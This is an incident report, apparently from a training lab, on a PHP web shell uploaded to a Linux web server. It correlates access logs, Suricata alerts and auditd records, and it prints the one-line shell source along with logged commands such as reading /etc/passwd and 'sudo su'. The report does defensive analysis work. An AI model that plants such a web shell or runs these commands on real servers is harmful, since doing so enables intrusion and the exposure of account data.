



Incident Report – Web Shell Upload & Command Execution

1 Executive Summary

Incident Type: Web Shell Upload & Command Injection

Severity: High

Status: Confirmed – True Positive

Affected Asset: Linux Web Server

Detection Source: Web Logs, Suricata IDS, Host Audit Logs

Summary:

A malicious actor successfully uploaded a PHP web shell to the web server and executed system-level commands through HTTP requests. The activity was confirmed across web access logs, IDS alerts, and host-based audit logs. Evidence indicates command execution and possible data exfiltration. The source IP was blocked, and monitoring was initiated.

2 Incident Timeline

Time (UTC)	Event
T0	Spike of 59 HTTP requests detected from a single IP
T0 + 2m	Multiple directory brute-force attempts observed
T0 + 4m	<code>upload.php</code> and <code>/uploads/</code> returned HTTP 200
T0 + 5m	PHP file uploaded to <code>/uploads/</code>
T0 + 6m	Multiple GET requests with system commands
T0 + 7m	Suricata triggered web attack signatures
T0 + 8m	Audit logs confirmed command execution
T0 + 10m	Source IP blocked at firewall
T0 + 10m onward	Monitoring initiated

3 Detection & Analysis

3.1 Web Server Access Log Analysis

Findings:

- Abnormal request spike (59 requests / 5 minutes)
- Requests focused on non-existent directories
- HTTP 200 responses for sensitive endpoints:
 - `/upload.html`
 - `/upload.php`
 - `/uploads/`

Interpretation:

Indicative of directory fuzzing followed by successful access to upload functionality.

clientip	count
172.104.11.51	2
193.142.147.209	1
204.76.203.69	1
216.180.246.61	5
223.181.109.117	59
45.79.207.110	1
5.101.64.6	1
66.228.53.174	1
87.236.176.60	1

	Time	Event
>	1/28/26 2:02:29:000 PM	223.181.109.117 - - [28/Jan/2026:08:32:29 +0000] "GET /images HTTP/1.1" 404 436 "-" "Mozilla/5.0 (Windows NT; Windows NT 10.0; en-IN) WindowsPowerShell/5.1.26100.7462" host = linux-web-server source = /var/log/apache2/access.log sourcetype = access_combined
>	1/28/26 2:02:29:000 PM	223.181.109.117 - - [28/Jan/2026:08:32:29 +0000] "GET /db HTTP/1.1" 404 436 "-" "Mozilla/5.0 (Windows NT; Windows NT 10.0; en-IN) WindowsPowerShell/5.1.26100.7462" host = linux-web-server source = /var/log/apache2/access.log sourcetype = access_combined
>	1/28/26 2:02:29:000 PM	223.181.109.117 - - [28/Jan/2026:08:32:29 +0000] "GET /backup HTTP/1.1" 404 436 "-" "Mozilla/5.0 (Windows NT; Windows NT 10.0; en-IN) WindowsPowerShell/5.1.26100.7462" host = linux-web-server source = /var/log/apache2/access.log sourcetype = access_combined
>	1/28/26 2:02:29:000 PM	223.181.109.117 - - [28/Jan/2026:08:32:29 +0000] "GET /config HTTP/1.1" 404 436 "-" "Mozilla/5.0 (Windows NT; Windows NT 10.0; en-IN) WindowsPowerShell/5.1.26100.7462" host = linux-web-server source = /var/log/apache2/access.log sourcetype = access_combined
>	1/28/26 2:02:29:000 PM	223.181.109.117 - - [28/Jan/2026:08:32:29 +0000] "GET /v2 HTTP/1.1" 404 436 "-" "Mozilla/5.0 (Windows NT; Windows NT 10.0; en-IN) WindowsPowerShell/5.1.26100.7462" host = linux-web-server source = /var/log/apache2/access.log sourcetype = access_combined
>	1/28/26 2:02:29:000 PM	223.181.109.117 - - [28/Jan/2026:08:32:29 +0000] "GET /v1 HTTP/1.1" 404 436 "-" "Mozilla/5.0 (Windows NT; Windows NT 10.0; en-IN) WindowsPowerShell/5.1.26100.7462" host = linux-web-server source = /var/log/apache2/access.log sourcetype = access_combined
>	1/28/26	223.181.109.117 - - [28/Jan/2026:08:32:29 +0000] "GET /api HTTP/1.1" 404 436 "-" "Mozilla/5.0 (Windows NT; Windows NT 10.0; en-IN) WindowsPowerShell/5.1.26100.7462" host = linux-web-server source = /var/log/apache2/access.log sourcetype = access_combined

3.2 Web Shell Upload Confirmation

Findings:

- PHP file uploaded to [/uploads/](#)
- Immediate GET requests invoking system commands

Example Indicators:

- [?cmd=id](#)
- [?cmd=whoami](#)
- [?cmd=uname -a](#)

Additional Verification:

The uploaded PHP web shell file was manually verified within the [/uploads/](#) directory on the web server. The file contents confirmed malicious functionality enabling system command execution. The file was isolated as part of the investigation.

Interpretation:

Confirmed malicious PHP web shell used for remote command execution.

- Web shell file present in `/uploads/`
- File content showing command execution logic.
- Uploaded PHP file
- Command execution requests

Event Log View		
	Time	Event
>	1/28/26 2:05:53.000 PM	223.181.109.117 - - [28/Jan/2026:08:35:53 +0000] "-" 408 0 "-" host = <code>linux-web-server</code> source = <code>/var/log/apache2/access.log</code> sourcetype = <code>access_combined</code>
>	1/28/26 2:05:01.000 PM	223.181.109.117 - - [28/Jan/2026:08:35:01 +0000] "GET /uploads/shell.php?cmd=cat%20/etc/passwd HTTP/1.1" 200 1030 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" host = <code>linux-web-server</code> source = <code>/var/log/apache2/access.log</code> sourcetype = <code>access_combined</code>
>	1/28/26 2:04:38.000 PM	223.181.109.117 - - [28/Jan/2026:08:34:38 +0000] "GET /uploads/shell.php?cmd=users HTTP/1.1" 200 283 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" host = <code>linux-web-server</code> source = <code>/var/log/apache2/access.log</code> sourcetype = <code>access_combined</code>
>	1/28/26 2:04:30.000 PM	223.181.109.117 - - [28/Jan/2026:08:34:30 +0000] "GET /uploads/shell.php?cmd=add%20user%20web-admin HTTP/1.1" 200 203 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" host = <code>linux-web-server</code> source = <code>/var/log/apache2/access.log</code> sourcetype = <code>access_combined</code>
>	1/28/26 2:04:15.000 PM	223.181.109.117 - - [28/Jan/2026:08:34:15 +0000] "GET /uploads/shell.php?cmd=sudo%20su HTTP/1.1" 200 203 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" host = <code>linux-web-server</code> source = <code>/var/log/apache2/access.log</code> sourcetype = <code>access_combined</code>
>	1/28/26 2:03:59.000 PM	223.181.109.117 - - [28/Jan/2026:08:33:59 +0000] "GET /uploads/shell.php?cmd=uname%20-a HTTP/1.1" 200 370 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" host = <code>linux-web-server</code> source = <code>/var/log/apache2/access.log</code> sourcetype = <code>access_combined</code>
>	1/28/26 2:03:51.000 PM	223.181.109.117 - - [28/Jan/2026:08:33:51 +0000] "GET /uploads/shell.php?cmd=whoami HTTP/1.1" 200 212 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" host = <code>linux-web-server</code> source = <code>/var/log/apache2/access.log</code> sourcetype = <code>access_combined</code>

```
shewa@linux-server:/var/www/html/uploads$ ls /var/www/html/uploads
shell.php
shewa@linux-server:/var/www/html/uploads$ cat /var/www/html/uploads/shell.php
<?php system($_GET['cmd']); ?>shewa@linux-server:/var/www/html/uploads$
```

3.3 IDS / Suricata Alerts

Findings:

- Multiple Suricata alerts from the same source IP

- Signatures triggered:
 - PHP Injection
 - Web Attack Patterns

Interpretation:

Network-level detection corroborates application-layer findings. \

_time	src_ip	dest_ip	alert.signature	alert.category	alert.severity	alert.signature_id
2026-01-28 14:06:10.553	223.181.109.117	10.160.0.4	ET WEB_SERVER Exploit Suspected PHP Injection Attack (cmd=)	Web Application Attack	1	2010920
2026-01-28 14:05:01.453	223.181.109.117	10.160.0.4	ET WEB_SERVER /etc/passwd Detected in URI	Attempted Information Leak	2	2049400
2026-01-28 14:05:01.453	223.181.109.117	10.160.0.4	ET WEB_SERVER Exploit Suspected PHP Injection Attack (cmd=)	Web Application Attack	1	2010920
2026-01-28 14:03:59.467	223.181.109.117	10.160.0.4	ET WEB_SERVER Exploit Suspected PHP Injection Attack (cmd=)	Web Application Attack	1	2010920
2026-01-28 14:03:40.727	223.181.109.117	10.160.0.4	ET WEB_SERVER Exploit Suspected PHP Injection Attack (cmd=)	Web Application Attack	1	2010920
2026-01-28 14:03:07.945	223.181.109.117	10.160.0.4	ET WEB_SERVER PHP System Command in HTTP POST	Web Application Attack	1	2020102
2026-01-28 14:03:07.945	223.181.109.117	10.160.0.4	ET WEB_SERVER PHP tags in HTTP POST	Web Application Attack	1	2011768

3.4 Response Size Analysis (Data Exfiltration Indicator)

Findings:

- Command execution responses showed **larger-than-normal response sizes**

Interpretation:

Likely output of system commands or file contents returned to the attacker, indicating potential data exfiltration.

_time	flow.bytes_toclient	flow.bytes_toserver
2026-01-28 12:31:47.433	774	1305
2026-01-28 12:31:47.341	8164	1850
2026-01-28 12:30:23.692	54	66
2026-01-28 12:30:23.688	216	264
2026-01-28 12:30:22.694	216	264
2026-01-28 12:30:19.732	54	66
2026-01-28 14:12:36.559	13223	5154
2026-01-28 14:09:09.235	386	349
2026-01-28 14:08:10.430	467	794
2026-01-28 14:07:52.495	467	822
2026-01-28 14:07:43.527	467	773
2026-01-28 14:07:30.573	540	806
2026-01-28 14:06:56.739	386	349
2026-01-28 14:06:32.782	1312	821
2026-01-28 14:05:50.934	485	809
2026-01-28 14:05:44.956	485	826

3.5 Host-Based Audit Log Verification

Source: `auditd`

Findings:

- `execve` events executed by web server processes
- Commands executed via Apache/PHP context.
- `/usr/bin/id`
- `/bin/bash`
- `/usr/bin/whoami`

Interpretation:

Host-level confirmation of command execution initiated through the web application.

- `ausearch` results showing executed commands

```

type=PROCTITLE msg=audit(01/28/26 08:16:37.528:769) : proctitle=/usr/sbin/sshd -D -R
type=PROCTITLE msg=audit(01/28/26 08:17:01.256:776) : proctitle=/usr/sbin/CRON -f -P
type=PROCTITLE msg=audit(01/28/26 08:17:01.257:779) : proctitle=/bin/sh -c cd / && run-parts --report /etc/cron.hourly
type=PROCTITLE msg=audit(01/28/26 08:18:56.366:782) : proctitle=/usr/sbin/sshd -D -R
type=PROCTITLE msg=audit(01/28/26 08:21:14.670:787) : proctitle=/usr/sbin/sshd -D -R
type=PROCTITLE msg=audit(01/28/26 08:23:29.411:792) : proctitle=/usr/sbin/sshd -D -R
type=PROCTITLE msg=audit(01/28/26 08:25:44.908:797) : proctitle=/usr/sbin/sshd -D -R
type=PROCTITLE msg=audit(01/28/26 08:25:45.824:800) : proctitle=/usr/bin/gce workload_cert_refresh
type=PROCTITLE msg=audit(01/28/26 08:27:53.498:805) : proctitle=/usr/sbin/sshd -D -R
type=PROCTITLE msg=audit(01/28/26 08:30:14.725:810) : proctitle=/usr/sbin/sshd -D -R
type=PROCTITLE msg=audit(01/28/26 08:32:33.311:815) : proctitle=/usr/sbin/sshd -D -R
type=PROCTITLE msg=audit(01/28/26 08:33:24.481:820) : proctitle=sh -c pwd
type=PROCTITLE msg=audit(01/28/26 08:33:40.608:821) : proctitle=sh -c cd ../../...
type=PROCTITLE msg=audit(01/28/26 08:33:51.464:822) : proctitle=sh -c whoami
type=PROCTITLE msg=audit(01/28/26 08:33:51.465:823) : proctitle=sh -c uname -a
type=PROCTITLE msg=audit(01/28/26 08:33:59.327:824) : proctitle=sh -c sudo su
type=PROCTITLE msg=audit(01/28/26 08:34:15.460:826) : proctitle=sh -c add user web-admin
type=PROCTITLE msg=audit(01/28/26 08:34:30.589:827) : proctitle=sh -c users
type=PROCTITLE msg=audit(01/28/26 08:34:30.506:828) : proctitle=users
type=PROCTITLE msg=audit(01/28/26 08:34:30.508:829) : proctitle=sh -c cat /etc/passwd
type=PROCTITLE msg=audit(01/28/26 08:35:01.297:830) : proctitle=sh -c cat /etc/passwd
type=PROCTITLE msg=audit(01/28/26 08:35:01.298:840) : proctitle=sh -c cert_refresh
type=PROCTITLE msg=audit(01/28/26 08:36:03.325:841) : proctitle=/usr/bin/dce Who...>..._cert_refresh
type=PROCTITLE msg=audit(01/28/26 08:36:10.448:844) : proctitle=su -c id
type=PROCTITLE msg=audit(01/28/26 08:36:10.449:845) : proctitle=id
type=PROCTITLE msg=audit(01/28/26 08:37:09.545:846) : proctitle=/usr/sbin/sshd -D -R
type=PROCTITLE msg=audit(01/28/26 08:39:01.270:853) : proctitle=/usr/sbin/CRON -f -P
type=PROCTITLE msg=audit(01/28/26 08:39:01.272:855) : proctitle=/bin/sh -c [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/session
clean; fi
type=PROCTITLE msg=audit(01/28/26 08:39:03.340:858) : proctitle=/bin/sh -e /usr/lib/php/sessionclean
type=PROCTITLE msg=audit(01/28/26 08:39:03.342:859) : proctitle=sort -rn -t: -k2,2
type=PROCTITLE msg=audit(01/28/26 08:39:03.342:860) : proctitle=/bin/sh /usr/sbin/phpquery -V
type=PROCTITLE msg=audit(01/28/26 08:39:03.344:861) : proctitle=sort -u -t: -k 1,1
type=PROCTITLE msg=audit(01/28/26 08:39:03.346:862) : proctitle=expr 2 - 1
type=PROCTITLE msg=audit(01/28/26 08:39:03.349:863) : proctitle=sort -rn
type=PROCTITLE msg=audit(01/28/26 08:39:03.349:864) : proctitle=find /usr/lib/php -mindepth 1 -maxdepth 1 -regex .*[0-9]\.[0-9] -printf %f\n

```

4 Impact Assessment

System Impact:

- Unauthorized remote command execution
- Potential exposure of system information

Data Impact:

- Possible data exfiltration (command output observed)

Business Risk:

- Compromise of web server integrity
- Potential pivot point for lateral movement

5 MITRE ATT&CK Mapping

Tactic	Technique	ID
Initial Access	Exploit Public-Facing Application	T1190
Persistence	Web Shell	T1505.003
Execution	Command and Scripting Interpreter	T1059
Exfiltration	Exfiltration Over Web	T1041

6 Incident Classification

- **Confidence Level:** High
 - **Verdict:** True Positive
 - **Attack Type:** Web Shell Upload & Command Injection
 - **Escalation Required:** Yes (Data Exfiltration Risk)
-

7 Containment & Response Actions

Actions Taken:

- Blocked malicious source IP at the firewall
- Identified and verified the uploaded PHP web shell in the `/uploads/` directory
- Removed the malicious web shell from the server
- Verified no additional unauthorized files present
- Initiated enhanced monitoring for 24 hours

Actions Recommended:

- Remove uploaded web shell
 - Review upload functionality security
 - Apply WAF rules
 - Rotate credentials if applicable
-

8 Lessons Learned / Improvements

- Upload endpoints require stricter validation
 - Need for file-type enforcement
 - Monitoring response size anomalies is effective
 - Correlation across Web + IDS + Host logs is critical
-

Analyst Details

Prepared by:

Shewag Bhattarai

SOC Analyst (L1 – Training / Hands-on Lab Investigation)

LinkedIn:

<https://linkedin.com/in/analystshewag>

This report is based on hands-on investigation conducted in a controlled lab environment and follows standard SOC L1 incident triage and escalation practices